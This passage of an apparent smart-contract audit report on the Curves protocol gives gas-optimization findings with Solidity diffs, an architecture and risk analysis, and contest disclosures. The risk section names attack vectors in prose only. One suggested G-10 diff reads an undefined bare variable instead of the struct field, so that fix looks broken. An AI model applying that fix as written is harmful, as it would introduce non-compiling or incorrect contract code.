        subjects.push(curvesTokenSubject);
    }

The internal function will check if the token already exists and only add if it does not exist. This involves reading the state variable ownedCurvesTokenSubjects[owner_] and looping on the list (very gas intensive).

However, iteratating on this list is not necessary when we call the function from the function _buyCurvesToken() since we only call the internal function when we are guaranteed that this is the first token being bought by the user.

        // If is the first token bought, add to the list of owned tokens
        if (curvesTokenBalance[curvesTokenSubject][msg.sender] - amount == 0) {
            _addOwnedCurvesTokenSubject(msg.sender, curvesTokenSubject);
        }

All we need to do is simply add the token directly:

         // If is the first token bought, add to the list of owned tokens
         if (curvesTokenBalance[curvesTokenSubject][msg.sender] - amount == 0) {
-            _addOwnedCurvesTokenSubject(msg.sender, curvesTokenSubject);
+            ownedCurvesTokenSubjects[msg.sender].push(curvesTokenSubject);
         }
     }

Also, note the comment, this only happens if this is the first token bought, which means it can’t be on the list. The check curvesTokenBalance[curvesTokenSubject][msg.sender] - amount == 0 ensures no other tokens exists on this users account. This ensures that we handle the case of tokens having been transfered to us.

[G-04] We can save some SLOADS by refactoring the function `buyCurvesTokenWhitelisted` (Saves 113 Gas on average)

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L404-L420

	Min	Max	Avg
Before	99264	163498	126028
After	99115	163385	125915

File: /contracts/Curves.sol
404:    function buyCurvesTokenWhitelisted(
405:        address curvesTokenSubject,
406:        uint256 amount,
407:        bytes32[] memory proof
408:    ) public payable {
409:        if (
410:            presalesMeta[curvesTokenSubject].startTime == 0 ||
411:            presalesMeta[curvesTokenSubject].startTime <= block.timestamp
412:        ) revert PresaleUnavailable();

414:        presalesBuys[curvesTokenSubject][msg.sender] += amount;
415:        uint256 tokenBought = presalesBuys[curvesTokenSubject][msg.sender];
416:        if (tokenBought > presalesMeta[curvesTokenSubject].maxBuy) revert ExceededMaxBuyAmount();

418:        verifyMerkle(curvesTokenSubject, msg.sender, proof);
419:        _buyCurvesToken(curvesTokenSubject, amount);
420:    }

On Line 414, we write to storage (SSTORE + SLOAD) then make another SLOAD when trying to validate that tokenBought won’t exceed the maxBuyAmount. A more efficient way would be to validate this first then write to storage:

-        presalesBuys[curvesTokenSubject][msg.sender] += amount;
-        uint256 tokenBought = presalesBuys[curvesTokenSubject][msg.sender];
+        uint256 tokenBought = presalesBuys[curvesTokenSubject][msg.sender] + amount;
         if (tokenBought > presalesMeta[curvesTokenSubject].maxBuy) revert ExceededMaxBuyAmount();

+        presalesBuys[curvesTokenSubject][msg.sender] = tokenBought;
+
         verifyMerkle(curvesTokenSubject, msg.sender, proof);
         _buyCurvesToken(curvesTokenSubject, amount);
     }

[G-05] Function might consume too much which might cause a DOS

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L52-L61

File: /contracts/FeeSplitter.sol
52:    function getUserTokensAndClaimable(address user) public view returns (UserClaimData[] memory) {
53:        address[] memory tokens = getUserTokens(user);
54:        UserClaimData[] memory result = new UserClaimData[](tokens.length);
55:        for (uint256 i = 0; i < tokens.length; i++) {
56:            address token = tokens[i];
57:            uint256 claimable = getClaimableFees(token, user);
58:            result[i] = UserClaimData(claimable, token);
59:        }
60:        return result;
61:    }

Calling getUserTokens(user) basically tries to retrieve all userTokens which are tracked by the mapping userTokens and return an array of tokens which we store as tokens. If the list is too big, iterating on it would consume too much gas; given, we also call a function getClaimableFees which does alot of state loads.

The function onBalanceChange is used by the manager to push some more items on the list of userTokens. If the manager pushes too many items, looping on them would be too expensive.

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L96-L100

    function onBalanceChange(address token, address account) public onlyManager {
        TokenData storage data = tokensData[token];
        data.userFeeOffset[account] = data.cumulativeFeePerToken;
        if (balanceOf(token, account) > 0) userTokens[account].push(token);
    }

Recommendation

We might want to have a limit set for the length.

[G-06] We should set a limit for the length of the tokens when batching to avoid consuming too much gas

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L103-L117

File: /contracts/FeeSplitter.sol
    function batchClaiming(address[] calldata tokenList) external {
        uint256 totalClaimable = 0;
        for (uint256 i = 0; i < tokenList.length; i++) {
            address token = tokenList[i];
            updateFeeCredit(token, msg.sender);
            uint256 claimable = getClaimableFees(token, msg.sender);
            if (claimable > 0) {
                tokensData[token].unclaimedFees[msg.sender] = 0;
                totalClaimable += claimable;
                emit FeesClaimed(token, msg.sender, claimable);
            }
        }
        if (totalClaimable == 0) revert NoFeesToClaim();
        payable(msg.sender).transfer(totalClaimable);
    }

As noted by the comment on the code, the batching will fail if the list is too long, utilising the function getUserTokens() we can get the number of tokens and then only batch if the code can be executed to completion. Since the loop is calling functions that read and write to state the gas consumption might be too much.

[G-07] Refactor the function `sellExternalCurvesToken` to avoid making unnecessary state loads (SLOADS) (Saves 304 Gas on average)

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L504-L509

	Min	Max	Avg
Before	-	-	83967
After	-	-	83663

File: /contracts/Curves.sol
504:    function sellExternalCurvesToken(address curvesTokenSubject, uint256 amount) public {
505:        if (externalCurvesTokens[curvesTokenSubject].token == address(0)) revert TokenAbsentForCurvesTokenSubject();

507:        deposit(curvesTokenSubject, amount);
508:        sellCurvesToken(curvesTokenSubject, amount / 1 ether);
509:    }

The function sellExternalCurvesToken makes a call to function deposit which has the following implementation:

490:    function deposit(address curvesTokenSubject, uint256 amount) public {
491:        if (amount % 1 ether != 0) revert NonIntegerDepositAmount();

493:        address externalToken = externalCurvesTokens[curvesTokenSubject].token;
494:        uint256 tokenAmount = amount / 1 ether;

496:        if (externalToken == address(0)) revert TokenAbsentForCurvesTokenSubject();
497:        if (amount > CurvesERC20(externalToken).balanceOf(msg.sender)) revert InsufficientBalance();
498:        if (tokenAmount > curvesTokenBalance[curvesTokenSubject][address(this)]) revert InsufficientBalance();

500:        CurvesERC20(externalToken).burn(msg.sender, amount);
501:        _transfer(curvesTokenSubject, address(this), msg.sender, tokenAmount);
502:    }

On Line 493, we are caching the value of externalCurvesTokens[curvesTokenSubject].token but if we go back to the calling function, we make another state read to the same state variable. We can inline the function deposit to avoid making state reads twice:

     function sellExternalCurvesToken(address curvesTokenSubject, uint256 amount) public {
-        if (externalCurvesTokens[curvesTokenSubject].token == address(0)) revert TokenAbsentForCurvesTokenSubject();
+        if (amount % 1 ether != 0) revert NonIntegerDepositAmount();
+        address externalToken = externalCurvesTokens[curvesTokenSubject].token;
+        if (externalToken == address(0)) revert TokenAbsentForCurvesTokenSubject();
+        uint256 tokenAmount = amount / 1 ether;

-        deposit(curvesTokenSubject, amount);
+        if (amount > CurvesERC20(externalToken).balanceOf(msg.sender)) revert InsufficientBalance();
+        if (tokenAmount > curvesTokenBalance[curvesTokenSubject][address(this)]) revert InsufficientBalance();
+
+        CurvesERC20(externalToken).burn(msg.sender, amount);
+        _transfer(curvesTokenSubject, address(this), msg.sender, tokenAmount);
         sellCurvesToken(curvesTokenSubject, amount / 1 ether);
     }
 }

[G-08] Only Make SLOADS when necessary

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L63-L71

File: /contracts/FeeSplitter.sol
63:    function updateFeeCredit(address token, address account) internal {
64:        TokenData storage data = tokensData[token];
65:        uint256 balance = balanceOf(token, account);
66:        if (balance > 0) {
67:            uint256 owed = (data.cumulativeFeePerToken - data.userFeeOffset[account]) * balance;
68:            data.unclaimedFees[account] += owed / PRECISION;
69:            data.userFeeOffset[account] = data.cumulativeFeePerToken;
70:        }
71:    }

In function updateFeeCredit, the variable data is only used when balance > 0; therefore, there’s no need to make a state read if we are not going to make use of it.

     function updateFeeCredit(address token, address account) internal {
-        TokenData storage data = tokensData[token];
         uint256 balance = balanceOf(token, account);
         if (balance > 0) {
+            TokenData storage data = tokensData[token];
             uint256 owed = (data.cumulativeFeePerToken - data.userFeeOffset[account]) * balance;
             data.unclaimedFees[account] += owed / PRECISION;
             data.userFeeOffset[account] = data.cumulativeFeePerToken;

If balance is not greater than 0, then we save ourselves one entire SLOAD.

[G-09] Reorder the checks to have cheaper checks first

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L490-L502

File: /contracts/Curves.sol
490:    function deposit(address curvesTokenSubject, uint256 amount) public {
491:        if (amount % 1 ether != 0) revert NonIntegerDepositAmount();

493:        address externalToken = externalCurvesTokens[curvesTokenSubject].token;
494:        uint256 tokenAmount = amount / 1 ether;

496:        if (externalToken == address(0)) revert TokenAbsentForCurvesTokenSubject();
497:        if (amount > CurvesERC20(externalToken).balanceOf(msg.sender)) revert InsufficientBalance();
498:        if (tokenAmount > curvesTokenBalance[curvesTokenSubject][address(this)]) revert InsufficientBalance();

500:        CurvesERC20(externalToken).burn(msg.sender, amount);
501:        _transfer(curvesTokenSubject, address(this), msg.sender, tokenAmount);
502:    }

     function deposit(address curvesTokenSubject, uint256 amount) public {
-        if (amount % 1 ether != 0) revert NonIntegerDepositAmount();
-
+        if (amount % 1 ether != 0) revert NonIntegerDepositAmount();//@audit Ensure users deposit an amount that will be divisible by 1 ether
+
+        uint256 tokenAmount = amount / 1 ether;//@audit-ok safe because of the earlier check
+        if (tokenAmount > curvesTokenBalance[curvesTokenSubject][address(this)]) revert InsufficientBalance();//@audit is this more expensive?
+
         address externalToken = externalCurvesTokens[curvesTokenSubject].token;
-        uint256 tokenAmount = amount / 1 ether;
-
         if (externalToken == address(0)) revert TokenAbsentForCurvesTokenSubject();
+
         if (amount > CurvesERC20(externalToken).balanceOf(msg.sender)) revert InsufficientBalance();
-        if (tokenAmount > curvesTokenBalance[curvesTokenSubject][address(this)]) revert InsufficientBalance();

         CurvesERC20(externalToken).burn(msg.sender, amount);
         _transfer(curvesTokenSubject, address(this), msg.sender, tokenAmount);

[G-10] Cache storage values in memory to minimize SLOADs

The code can be optimized by minimizing the number of SLOADs.

SLOADs are expensive (100 gas after the 1st one) compared to MLOADs/MSTOREs (3 gas each). Storage values read multiple times should instead be cached in memory the first time (costing 1 SLOAD) and then read from this cache to avoid multiple SLOADs.

We can cache the variable `_curvesTokenCounter` in memory and then assign it (Saves 144 Gas on average)

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L338-L348

Gas benchmarks based on function withdraw():

	Min	Max	Avg
Before	153428	1813418	1689234
After	153428	1813218	1689088

File: /contracts/Curves.sol
338    function _deployERC20(

344:        if (keccak256(bytes(symbol)) == keccak256(bytes(DEFAULT_SYMBOL))) {
345:            _curvesTokenCounter += 1;
346:            name = string(abi.encodePacked(name, " ", Strings.toString(_curvesTokenCounter)));
347:            symbol = string(abi.encodePacked(symbol, Strings.toString(_curvesTokenCounter)));
348:        }

We can do some caching for _curvesTokenCounter:

     function _deployERC20(
         address curvesTokenSubject,
@@ -342,9 +346,10 @@ contract Curves is CurvesErrors, Security {
     ) internal returns (address) {
         // If the token's symbol is CURVES, append a counter value
         if (keccak256(bytes(symbol)) == keccak256(bytes(DEFAULT_SYMBOL))) {
-            _curvesTokenCounter += 1;
-            name = string(abi.encodePacked(name, " ", Strings.toString(_curvesTokenCounter)));
-            symbol = string(abi.encodePacked(symbol, Strings.toString(_curvesTokenCounter)));
+            uint256 counter = _curvesTokenCounter + 1;
+            name = string(abi.encodePacked(name, " ", Strings.toString(counter)));
+            symbol = string(abi.encodePacked(symbol, Strings.toString(counter)));
+            _curvesTokenCounter = counter;
         }

Save 1 SLOAD by caching `data.cumulativeFeePerToken`(Save 74 Gas on average)

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L63-L71

	Min	Max	Avg
Before	-	-	77744
After	-	-	77670

File: /contracts/FeeSplitter.sol
63:    function updateFeeCredit(address token, address account) internal {
64:        TokenData storage data = tokensData[token];
65:        uint256 balance = balanceOf(token, account);
66:        if (balance > 0) {
67:            uint256 owed = (data.cumulativeFeePerToken - data.userFeeOffset[account]) * balance;
68:            data.unclaimedFees[account] += owed / PRECISION;
69:            data.userFeeOffset[account] = data.cumulativeFeePerToken;
70:        }
71:    }

@@ -64,15 +64,16 @@ contract FeeSplitter is Security {
         TokenData storage data = tokensData[token];
         uint256 balance = balanceOf(token, account);
         if (balance > 0) {
-            uint256 owed = (data.cumulativeFeePerToken - data.userFeeOffset[account]) * balance;
+            uint256 _cumulativeFeePerToken = cumulativeFeePerToken;
+            uint256 owed = (_cumulativeFeePerToken - data.userFeeOffset[account]) * balance;
             data.unclaimedFees[account] += owed / PRECISION;
-            data.userFeeOffset[account] = data.cumulativeFeePerToken;
+            data.userFeeOffset[account] = _cumulativeFeePerToken;
         }
     }

[G-11] Using unchecked blocks to save gas

Solidity version 0.8+ comes with implicit overflow and underflow checks on unsigned integers. When an overflow or an underflow isn’t possible (as an example, when a comparison is made before the arithmetic operation), some gas can be saved by using an unchecked block. See this resource.

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L277-L279

File: /contracts/Curves.sol
277:        if (curvesTokenBalance[curvesTokenSubject][msg.sender] - amount == 0) {
278:            _addOwnedCurvesTokenSubject(msg.sender, curvesTokenSubject);
279:        }

The operation curvesTokenBalance[curvesTokenSubject][msg.sender] - amount cannot underflow. The current value of curvesTokenBalance[curvesTokenSubject][msg.sender] is simply a result of adding amount to the curvesTokenBalance[curvesTokenSubject][msg.sender] therefore subtracting again should be safe

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L287

File: /contracts/Curves.sol
287:        uint256 price = getPrice(supply - amount, amount);

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L289

File: /contracts/Curves.sol
289:        curvesTokenBalance[curvesTokenSubject][msg.sender] -= amount;

Before the operation is performed, a check exists that ensures that curvesTokenBalance[curvesTokenSubject][msg.sender] is greater than amount.

[G-12] No need to cache state reads if using once

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L394-L402

Variable `supply` is only used therefore no need to cache `curvesTokenSupply[msg.sender]`

File: /contracts/Curves.sol
394:    function setWhitelist(bytes32 merkleRoot) external {
395:        uint256 supply = curvesTokenSupply[msg.sender];
396:        if (supply > 1) revert CurveAlreadyExists();

398:        if (presalesMeta[msg.sender].merkleRoot != merkleRoot) {
399:            presalesMeta[msg.sender].merkleRoot = merkleRoot;
400:            emit WhitelistUpdated(msg.sender, merkleRoot);
401:        }
402:    }

The variable supply is only used once in the function. As such, there was no need to cache the value of curvesTokenSupply[msg.sender]. Caching only adds to the gas consumption rather than save us some gas.

     function setWhitelist(bytes32 merkleRoot) external {
-        uint256 supply = curvesTokenSupply[msg.sender];
-        if (supply > 1) revert CurveAlreadyExists();
+        if (curvesTokenSupply[msg.sender] > 1) revert CurveAlreadyExists();

         if (presalesMeta[msg.sender].merkleRoot != merkleRoot) {
             presalesMeta[msg.sender].merkleRoot = merkleRoot;

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L377-L392

Do not cache `curvesTokenSupply[curvesTokenSubject]`, as it’s only required once

File: /contracts/Curves.sol
377:    function buyCurvesTokenForPresale(
378:        address curvesTokenSubject,
379:        uint256 amount,
380:        uint256 startTime,
381:        bytes32 merkleRoot,
382:        uint256 maxBuy
383:    ) public payable onlyTokenSubject(curvesTokenSubject) {
384:        if (startTime <= block.timestamp) revert InvalidPresaleStartTime();
385:        uint256 supply = curvesTokenSupply[curvesTokenSubject];
386:        if (supply != 0) revert CurveAlreadyExists();
387:        presalesMeta[curvesTokenSubject].startTime = startTime;
388:        presalesMeta[curvesTokenSubject].merkleRoot = merkleRoot;
389:        presalesMeta[curvesTokenSubject].maxBuy = (maxBuy == 0 ? type(uint256).max : maxBuy);

391:        _buyCurvesToken(curvesTokenSubject, amount);
392:    }

     ) public payable onlyTokenSubject(curvesTokenSubject) {
         if (startTime <= block.timestamp) revert InvalidPresaleStartTime();
-        uint256 supply = curvesTokenSupply[curvesTokenSubject];
-        if (supply != 0) revert CurveAlreadyExists();
+        if (curvesTokenSupply[curvesTokenSubject] != 0) revert CurveAlreadyExists();
         presalesMeta[curvesTokenSubject].startTime = startTime;
         presalesMeta[curvesTokenSubject].merkleRoot = merkleRoot;
         presalesMeta[curvesTokenSubject].maxBuy = (maxBuy == 0 ? type(uint256).max : maxBuy);

Supply is only used once, no need to cache `curvesTokenSupply[curvesTokenSubject]`

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L370-L371

File: /contracts/Curves.sol
370:        uint256 supply = curvesTokenSupply[curvesTokenSubject];
371:        if (supply != 0) revert CurveAlreadyExists();

Conclusion

It is important to emphasize that the provided recommendations aim to enhance the efficiency of the code without compromising its readability. We understand the value of maintainable and easily understandable code to both developers and auditors.

As you proceed with implementing the suggested optimizations, please exercise caution and be diligent in conducting thorough testing. It is crucial to ensure that the changes are not introducing any new vulnerabilities and that the desired performance improvements are achieved. Review code changes, and perform thorough testing to validate the effectiveness and security of the refactored code.

Should you have any questions or need further assistance, please don’t hesitate to reach out.

Audit Analysis

For this audit, 16 analysis reports were submitted by wardens. An analysis report examines the codebase as a whole, providing observations and advice on such topics as architecture, mechanism, or approach. The report highlighted below by MrPotatoMagic received the top score from the judge.

The following wardens also submitted reports: yongskiws, fouzantanveer, Arion, 0xAadi, Sathish9098, 0xepley, DarkTower, 0xSmartContract, hunter_w3b, dimulski, ZanyBonzy, tala7985, bengyles, catellatech, and peanuts.

Preface

This audit report should be approached with the following points in mind:

The report does not include repetitive documentation that the team is already aware of. It does include suggestions to provide more clarity on certain aspects in the documentation.
The report is crafted towards providing the sponsors with value such as unknown edge case scenarios, faulty developer assumptions and unnoticed architecture-level weak spots.
If there exists repetitive documentation (mainly in Mechanism Review), it is to provide the judge with more context on a specific high-level or in-depth scenario for ease of understandability.

Approach taken in evaluating the codebase

Time spent on this audit: 7 days

Day 1:

Getting a grasp over the friend.tech documentation.
Reviewing smaller nSLOC contracts.
Adding inline bookmarks for surface level issues.

Days 2-4:

Reviewing Curves.sol and FeeSpliter.sol.
Adding inline bookmarks to make notes, issues and imaginary attack scenarios.
Reviewing added features in current codebase over friend.tech.

Days 5-7:

Writing reports for simpler issues.
Writing gas optimizations report.
Filtering out inline bookmarks for invalid and QA level issues.
Writing QA report.
Writing reports for issues and testing their feasibility.
Writing analysis report.

Architecture Recommendations

What’s unique?

Exporting ERC20 tokens - The SocialFi sector is not huge as of yet. By creating a market not only with shares but also exportable custom ERC20 tokens, the protocol provides users flexibility to use their funds elsewhere. For example: Uniswap pools or bridge lockers or yield bearing vaults.
Presale/Opensale system - The presale and opensale system is quite common in the NFT and ERC20 token launch sectors. But implementing them for obtaining shares of a token subject allows a user to strengthen their relationship with followers. Additionally, it creates social value and reputation for a person based on social credit.
Re-integration of ERC20 tokens - Exporting tokens from the protocol is one half of the coin. The other half of reintegration is crucial since it allows users to leverage their strategies by earning ETH fees in the Curves protocol itself.

How this codebase compares to Friend.tech

The first difference between both codebases is that there are two new fee percentages included, namely, the referralFeePercent and holderFeePercent.
The second difference is that the current protocol has optimized the friend tech code by creating logical functions such as _transferFees() to avoid repetitive code (see how friend tech implements this).
The third difference is the inclusion of fee rewards to token holders. Friend tech’s daily active users plummeted from around 5000 to 500 in a span of few months. This is bad for friend tech considering that it is a socialFi protocol. The Curves team has resolved this issue by allowing users to earn fees on the shares they hold. This avoids creating Curves into a market for MEV extractors and tilts it towards a long term investment opportunity for users.

What ideas could be incorporated?

Currently only integer units are allowed to be deposited through the deposit() function. This will cause the reintegration to fail if a user holds non-integer amounts of tokens. Since we cannot go break the conversion from the 18 decimals format in the deposit() function, a good straightforward solution to this would be to introduce a vault for the users by the Curves team. This vault can allow users to deposit their ERC20 curves tokens. Once the number of tokens for a token subject in the vault reaches a whole integer number, an administrator can call sellExternalCurveTokens() on the Curves contract which will give the vault ETH, that can then be distributed among the users who deposited their ERC20 tokens in it. The ETH would obviously need to be distributed based on the ratio or weight the users provide. There can be better solutions than this but in this simple solution above I’ve tried to ensure no new component other than a vault is introduced to aggregate the tokens to a whole integer number.
Another possible idea that could be incorporated is to lock the first token as a NFT for the token subject who initiates the curve. Since the token is free to mint, it could use generative art to determine a protocol pfp or some kind of NFT to welcome the user to Curves.
A possible integration would that of ERC20 tokens. Currently payments are only accepted in ETH. If new tokens are added to the protocol, it can improve the user onboarding and provide users with more options to buy shares.
Introducing yield-bearing strategies would be a good feature as well since once a token is exported, there might not be much a user could do with it. Implementing some kind of liquidity pools and strategies can solve this issue for users though this requires considerable development effort.

Centralization Risks

There are two centralization risks in the protocol:

The owner has control over the protocol fees and managers. This owner address should use a multisig to avoid malicious percentage changes in the fee mechanism especially.
The managers have control over how much fees the subject and referral must earn as well as the token holder fees.

Resources used to gain deeper context on this codebase

Mechanism Review

High Level System Overview

Note: to view the provided images, please see the original submission here.

Inheritance Structure

Since there are only 5 contracts in scope, it is easy to get a grasp of the overall inheritance structure in the codebase. The contracts marked other than blue in the provided image here are out of scope.

Systemic Risks/Architecture weak spots and how they can be mitigated

Preventing users from buying - Currently a token subject can block users from selling shares and withdrawing their ETH. This is because the contract uses a push over pull mechanism that allows the subject to revert in its fallback.
Frontrunning/Sandwiching - The codebase is currently prone to MEV attacks due to missing slippage protection. This gives the user a worse execution price.
Address poisoning - Currently in the protocol, 0 value transfers are allowed. This means that when the frontend pulls in the recent transfers, an user might send tokens to the wrong address.
DOSing custom token names and symbol - The withdraw() functions allows passing 0 as a amount which allows an attacker to deploy an ERC20 token for the token subject but with default name and symbol. This might be against what the token subject wanted and should be fixed by disabling 0 value withdrawals.
Phishing attacks - The deploy() function in the CurvesERC20TokenFactory is public currently. This allows an attacker to create similar tokens with names and symbols but with different owners. This could be used to fool users through social engineering tactics in public communities.
Another important systemic risk is that the getFees() function correctly uses incorrect denominator of 1e18. This should be replaced with maxFeePercent since each of the protocol, subject, referral and holder fees are scaled according to the order of magnitude the maxFeePercent resides in. Therefore, if maxFeePercent is ever set to a value other than 1e18, it would cause users to be charged more or less fees.

Time spent

60 hours

Disclosures

C4 is an open organization governed by participants in the community.

C4 audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and solidity developer and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.

C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.

Curves Findings & Analysis Report

2024-07-19

Table of contents

Overview

About C4

Wardens

Summary

Scope

Severity Criteria

High Risk Findings (5)

Proof of Concept

Recommended Mitigation Steps

Proof of Concept

Recommended Mitigation Steps

Proof of Concept

Recommended Mitigation Steps

Proof of Concept

Recommended Mitigation Steps

Lines of code

Vulnerability details

Recommended Mitigation

Medium Risk Findings (10)

Recommended Mitigation Steps

Impact

Proof of Concept

Recommended Mitigation Steps

Proof of Concept

Recommended Mitigation Steps

Proof of Concept

Recommended Mitigation Steps

Proof of Concept

Foundry PoC:

Tools Used

Recommended Mitigation Steps

Proof of Concept

Tools Used

Recommended Mitigation Steps

Proof of Concept

Recommended Mitigation Steps

Proof of Concept

Recommended Mitigation Steps

Proof of Concept

Recommended Mitigation Steps

Proof of Concept

Tools Used

Recommended Mitigation Steps

Low Risk and Non-Critical Issues

[L-01] Deposit Function and ERC20 Token Management

[L-02] Optimizing Fee Calculation to Minimize Rounding Errors

[L-03] Essential Recovery Function for Exported ERC20 Tokens in the Curves Protocol

[L-04] Implementing a Modifier for updateFeeCredit function

[L-05] ETH Liquidity Challenges in Curves.sol

[NC-01] Optimizing the _buyCurvesToken Function for Efficiency and Clarity

[NC-02] Efficiency Enhancement in Token Transfer Logic

[NC-03] Activate the optimizer

Gas Optimizations

Auditor’s Disclaimer

Codebase Impressions

[G-01] Avoid making similar state reads due to how functions are called (Savea 3320 Gas on average)

[G-02] Refactor function mint to only do stores if token is not minted already

[G-03] First token bought should be added directly to the list of owned tokens when using function _buyCurvesToken

[G-04] We can save some SLOADS by refactoring the function buyCurvesTokenWhitelisted (Saves 113 Gas on average)

[G-05] Function might consume too much which might cause a DOS

Recommendation

[G-06] We should set a limit for the length of the tokens when batching to avoid consuming too much gas

[G-07] Refactor the function sellExternalCurvesToken to avoid making unnecessary state loads (SLOADS) (Saves 304 Gas on average)

[G-08] Only Make SLOADS when necessary

[G-09] Reorder the checks to have cheaper checks first

[G-10] Cache storage values in memory to minimize SLOADs

We can cache the variable _curvesTokenCounter in memory and then assign it (Saves 144 Gas on average)

Save 1 SLOAD by caching data.cumulativeFeePerToken(Save 74 Gas on average)

[G-11] Using unchecked blocks to save gas

[G-12] No need to cache state reads if using once

Variable supply is only used therefore no need to cache curvesTokenSupply[msg.sender]

Do not cache curvesTokenSupply[curvesTokenSubject], as it’s only required once

Supply is only used once, no need to cache curvesTokenSupply[curvesTokenSubject]

Conclusion

Audit Analysis

Preface

Approach taken in evaluating the codebase

Curves
Findings & Analysis Report

[L-04] Implementing a Modifier for `updateFeeCredit` function

[NC-01] Optimizing the `_buyCurvesToken` Function for Efficiency and Clarity

[G-03] First token bought should be added directly to the list of owned tokens when using function `_buyCurvesToken`

[G-04] We can save some SLOADS by refactoring the function `buyCurvesTokenWhitelisted` (Saves 113 Gas on average)

[G-07] Refactor the function `sellExternalCurvesToken` to avoid making unnecessary state loads (SLOADS) (Saves 304 Gas on average)

We can cache the variable `_curvesTokenCounter` in memory and then assign it (Saves 144 Gas on average)

Save 1 SLOAD by caching `data.cumulativeFeePerToken`(Save 74 Gas on average)

Variable `supply` is only used therefore no need to cache `curvesTokenSupply[msg.sender]`

Do not cache `curvesTokenSupply[curvesTokenSubject]`, as it’s only required once

Supply is only used once, no need to cache `curvesTokenSupply[curvesTokenSubject]`